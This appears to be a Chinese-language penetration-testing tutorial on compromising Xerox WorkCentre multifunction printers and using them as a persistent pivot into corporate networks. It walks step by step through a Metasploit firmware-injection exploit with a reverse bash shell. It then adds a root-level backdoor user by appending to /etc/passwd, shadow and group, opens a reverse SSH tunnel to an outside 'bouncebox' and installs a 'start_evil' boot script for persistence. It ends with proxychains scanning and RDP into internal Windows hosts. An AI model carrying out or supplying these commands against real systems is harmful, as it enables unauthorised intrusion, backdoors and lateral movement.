一直以来我们都在讨论多功能打印机(MFP)在企业环境下所带来的风险,以及攻击者如何轻易的利用其来进行恶意攻击,比如通过LDAP提取Windows Active Directory的证书或者滥用“扫描文件”和“扫描电子邮件”功能。
而在最近一次我们的攻防演练中,在通过MFP设备攻击Windows Active Directory时,我们利用该设备隐藏了我们的位置,这使得针对MFP设备的攻击进入了新的阶段。在本文中我们就来分享一下如何利用被盗用的Xerox Workcentre MFP设备来进行APT的细节。
首先我们要确定该Xerox Workcentre MFP设备在已经被入侵的网络中很容易受到固件注入攻击。实际上该技术早在2012年就已经被发表了,但由于缺乏对这一类物联网设备的强制性更新,目前仍有大量的Xerox Workcentre MFP设备会受到这种攻击,这一点可以很容易的通过Metasploit中的xerox_mfp模块来进行验证。而如果设备并不容易遭受攻击,或者攻击的结果只能够进行打印等操作,那显然是毫无价值的。但是如果它存在严重漏洞可以使你获得反向shell并最终拿到该设备的Root权限,那就相当的有价值了。
以下将向您展示通过Metasploit中的xerox_mfp模块来实施此类攻击。
[1]在Metasploit中选择 xerox_mfp 模块:
Use exploit/unix/misc/xerox_mfp
(http://www.rapid7.com/db/modules/exploit/unix/misc/xerox_mfp)
[2]接下来选择反向 bash payload 模块并使用它:
Set payload cmd/unix/reverse_bash
[3]最后使用以下命令设置目标IP和本地IP:
set RHOST ipaddress
set LHOST ipaddress
[4]这里建议你设置 wfsdelay 到30,因为当你在进行攻击时打印机有可能进入睡眠模式,这样做可以在你等待会话连接到监听器时增加延时。
set wfsdelay 30
[5]一旦完成上面的操作,你就可以通过输入或者运行exploit来启动exploit。
Xerox exploit将会启动固件注入攻击并返回一个可以接入MFP root权限的远程shell。
如下图所示:
建立并启用SSHD
当你获得了该MFP设备的root访问权限后,需要进行一些必要的配置,以便能够启用SSH隧道。第一步是建立SSH主机密钥,使你可以启动MFP设备上的SSH进程。
具体步骤如下:
输入以下命令来生成dsa和rsa密钥对:
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
当有提示要输入密码时直接回车,下图是生成密钥的一个例子:
现在你可以使用下面的命令开启SSH的进程:
/usr/sbin/sshd
而当其开始运行后,如下命令可以进行验证:
ps –ef |grep sshd
下图中我们可以看到SSH进程已启动,在本例中其进程ID为17808。 version 1 的错误属于正常情况。
建立并启用密钥认证
现在SSH进程正在运行,我们需要生成公钥和私钥,这样将允许从打印机发起的到我们在公网上的SSH服务器的SSH连接,本次我们将这个公网上的SSH服务器命名为”bouncebox“。
首先我们要在打印机的根目录下创建一个.ssh的文件夹,当SSH密钥生成后将保存在该文件夹中。使用以下命令进行该操作:
cd / && mkdir .ssh && cd .ssh
文件夹建立后我们继续来生成SSH密钥,使用以下命令即可:
ssh -keygen -t rsa
这里系统会提示新生成的密钥保存在.ssh文件夹的默认位置,我们只需敲击回车即可,而当提示输入密码时也一样。
后面我们会验证SSH密钥已经被正确的创建了。不过现在我们需要将SSH公钥添加到公网ssh服务器bouncebox的authorized_keys 文件中。使用下面的命令:
cat /.ssh/id_rsa.pub (on printer)
vi ~/.ssh/authorized_keys (on bouncebox)
既然该密钥已经在我们的bouncebox中配置好了,那么我们就可以建立一个从打印机到bouncebox的SSH连接,且无需处理密码提示。
注意:允许打印机SSH连接到你的bouncebox,这意味着允许任何接入打印机的人做相同的事,所以你需要非常确定你的bouncebox中没有存放任何敏感数据。
建立用户账户
虽然我们可以使用root权限对MFP设备进行访问,但我们没有密码。因此除非你想花时间破解它否则最好的方法就是去创建一个用户然后将该用户添加到root组,使我们可以在SSH隧道操作过程中使用它。不幸的是安装在Xerox Workcentres MFP上的嵌入式Linux Wind River 版本没有adduser命令,所以需要我们手动进行创建,而这将需要改变三个文件。更大的问题是缺少一个好用的编辑器,因为在bash shell中VI编辑器并不是那么好用。
所以保险起见我们应该首先把要编辑的三个文件进行备份:
cp /etc/passwd /etc/passwd.bck
cp /etc/shadow /etc/shadow.bck
cp /etc/group /etc/group.bck
我总是会在继续操作之前先验证我的文件是否已经备份好了,通过下面的这个命令即可。如图所示:
ls -al /etc/*.bck
我们要改变的第一个文件是/etc/passwd ,这里我们会使用以下命令添加新的用户信息到该文件中。这里非常重要的一点是不要将双重定向>>和>重定向弄混, >重定向将会将文件的所有内容进行重写,但如果真的弄混了也不要慌张,因为我们有备份。
echo “bob:x:0:0:root:/:/bin/bash” >> /etc/passwd
如果一切正确你的password文件应该和下图一样:
下一个要修改的文件是/etc/shadow。该修改是通过使用echo和 双重定向>>来添加数据到该文件。
输入下面这行命令即可进行这一修改:
echo “bob:E9lQCJhXRn9sc:16781::::::” >> /etc/shadow
完成这一操作后你的shadow文件像下图一样即可:
最后需要修改的文件是 /etc/group。这里需要进行两次修改,第一次是将新用户的信息添加到文件的末尾,使用如下命令:
echo “bob:x:102:” >> /etc/group
第二次修改涉及到使用sed命令将上面的bob用户添加到其中。使用下面这行命令:
sed -i 's/root:x:0:root/root:x:0:root,bob/' /etc/group.tmp
完成上述操作后你的组文件应该如下图所示:
在完成了对三个文件的修改后,我们还需要对bob的密码进行修改,因为我不确定shadow文件中的字符串(E9lQCJhXRn9sc)将会有什么影响,而更糟糕的状况可能是它给了你一个类似“test123”的密码。所以你需要通过下面这行命令以及提示去修改密码:
passwd bob
一旦密码确认被修改后,你会看到如下图所示:
开启反向隧道到BounceBox
现在SSH密钥已经就位了,sshd已经在运行了并且用户账户也已经创建好了,那么接下来你需要去启动在MFP设备上的SSH隧道。以下命令将会通过MFP设备的22端口连接到你的bouncebox上的12345端口,请记住要把bouncebox的IP地址设置正确,并且要添加rsa_id.pub中的用户名到known_hosts。
/usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f
建立反向SSH隧道将本地主机连接到MFP设备
打印机成功建立了一个出站SSH连接到bouncebox后,我们可以使用此隧道进入目标网络。这一步可以通过使用一系列的SSH命令创建反向SSH通道来实现。
首先,使用-L选项从SSH进入bouncebox。正如手册所述,-L选项是将本地主机上的指定端口转发到指定主机的远程端口:
ssh -L 31337:localhost:12345 username@bouncebox
在该例子中,我们将本地的31337端口(攻击机)的流量转发到bouncebox(公网转发主机)的12345端口,再由bouncebox上的12345端口将流量转发到MFP设备(内网中)的22端口。
现在我们已经在bouncebox上建立了端口转发,就可以通过本地(攻击机)SSH 的31337端口连接到打印机。然后使用-D选项允许动态端口转发,这将使得SOCKS服务器会允许我们通过打印机的网络接口去发送流量,比如攻击者机器通过bouncebox发动对目标网络即打印机端的端口扫描。
ssh -D 1080 bob@localhost -p 31337
保证持续性
如果你想保持持续性控制,那么你就需要将其加入到系统启动文件中。在这个例子中,Xerox Workcentre MFP设备并没有Crontab功能。我发现最好的方式是在 /etc/init.d 中创建一个文件,然后在/etc/rc.d/rc3.d目录文件夹中通过符号链接指向该文件。这将确保每一次打印机复位或者重启时,你的隧道都可以被重建,而这也就是为什么会把它称为高级持续性威胁(APT)。
现在我们已经有sshd在运行了,所以完全不需要再使用Metasploit通过反向bash shell去连接到MFP设备了。如果你按照上述指令来进行的操作,你应该能够使用以下命令从你的主机系统登陆到MFP设备:
ssh bob@localhost -p 31337
vi start_evil
在VI中添加下述命令到文件中并保存:
#!/bin/bash
#
#startup ssh daemon service
/usr/sbin/sshd
#initiate the ssh tunnel to the bounce box
/usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f
最后一步是在 /etc/rc.d/rc3.d/文件夹中建立一个符号链接,使用以下命令即可:
cd /etc/rc.d/rc3.d/
ln -s /etc/rc.d/init.d/start_evil S777_start_evil
好了,现在如果MFP设备复位或者重启的话,你的ssh隧道也仍然能够重新连接到bouncebox了。
使用ProxyChains和SOCKS代理
为了能够使用攻击工具,我们使用了代理服务器软件ProxyChains,它能够允许我们通过之前建立的动态端口转发进行通信。
在攻击机上,我们安装了ProxyChains,使得我们能够使用动态端口转发。我们编辑了这个配置文件/etc/proxychains.conf,然后添加了下面这行:
socks4 127.0.0.1 1080
(动态的将1080端口的流量转发到了31337端口,31337端口将流量转发到bouncebox的12345端口,12345端口将流量转发到内网MFP设备的22端口)
ProxyChains配置完成后,我们就可以开始使用攻击工具了。在下面的例子中我们使用端口扫描工具nmap去扫描目标网络下的windows系统。使用以下命令即可:
proxychains nmap -Pn -sT 192.168.2.72 -p 445,3389
在识别出一个windows系统后,我们就可以使用以下命令去连接到远程桌面服务:
proxychains rdesktop 192.168.2.72
作为一个POC,我们通过远程桌面服务登录到windows系统,然后运行netstat命令去查看建立的连接。这里我们可以看到打印机(192.168.2.200)正在监听一个从windows服务器(192.168.2.72)到远程桌面端口3389的连接。